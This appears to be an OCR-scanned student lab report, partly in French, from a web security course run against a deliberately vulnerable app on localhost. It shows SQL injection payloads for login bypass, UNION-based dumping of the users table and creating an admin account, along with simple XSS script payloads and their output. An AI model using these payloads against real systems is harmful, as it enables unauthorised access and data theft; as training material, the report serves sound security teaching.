TP : http://homepages.laas.fr/ealata/labs.tar.gz

[ v

3 | INSA - Web Security X |+

« » C @ O D localhost:8000/main.html

Main menu

Hello World Oxff

Create database

Fr injection 0x101

Sql injection 0x201

Sql injection 0x202

Sql injection 0x203

3.

4 ainsi que les lignes de la table <users> ainsi que les lignes de la table <products> pour
lesquelles la valeur du champ <id> est 4

W)

INSA - Web Security x| +

[ ] O D localhost Py %y

Product search

| Return to main |

| Try to extract users informations |

RESULT

- = —

Sélectionne les lignes de la table <products> pour lesquelles la valeur du
champ <id> est
4 ainsi que les lignes de |a table <users> ainsi que les lignes de la table <products> pour lesqu

et la valeur du champ <poids> n'est pas 4.

Submit

Sélectionne les lignes de la table <products> pour lesquelles la valeur du
champ <id> est 4 ainsi que les lignes de la table <users> ainsi que les lignes
de la table <products> pour lesquelles la valeur du champ <id> est 4 et la
valeur du champ <poids> n'est pas 4.

pory


http://homepages.laas.fr/ealata/labs.tar.gz

Authentication

Return to main

Try to login
Login
|admin' OR 1=1 OR '1'F'1
Password
[vhivg
Submit

SELECT * FROM users WHERE login='admin' OR '1'='1" and password="'1'
OR 'bgy'

near "1": syntax error

5.
admin'OR'"1'="1"limit 1 --

Authentication

Return to main

Try to login
Tip: limit

Login
admin' OR '1'="1" limit 1 --
| |
Password
[inbjk |

Submit

OK

SELECT * FROM users WHERE login="admin' OR '1'='1" limit 1 --' and
password="zefe’'

6.
"UNION SELECT * FROM users --;



List books

| Return to main |
I List all users |
Pattern

|* UNION SELECT * FROM users ] ]

| - |

TITLE © PRICE

SELECT * FROM books WHERE title LIKE " UNION SELECT * FROM users

7."UNION SELECT 1,2,3 FROM users --;

List books

Return to main

List all users

Pattern
* UNION SELECT 1,2,3 FROM users -
Submit
I =N B == R
1 2 3

SELECT title, id, price FROM books WHERE title LIKE " UNION SELECT
1,2,3 FROM users -;'

8. cedric'ahuihb'1); --

I Add an new admin account
Login
[cedric',‘ahuihb',1);
Password
| hgevky|
Submit
INSERT INTO users (login, password, admin) VALUES ('cedric’,'ahuihb’,1);
-, 'bljbb’, 0)
LOGIN PASSWORD ADMIN
admin 1@#$345 1
alice ecila 0
bob bob 0
alice ecila 0
cedric ahuihb 1
e




Hello

Return to main

Execute a javascript

Name

<script>alert('Bonjour’);</scri pt>|

Submit

10.

<script>document.write("<img src="xxxx'/>");</script>



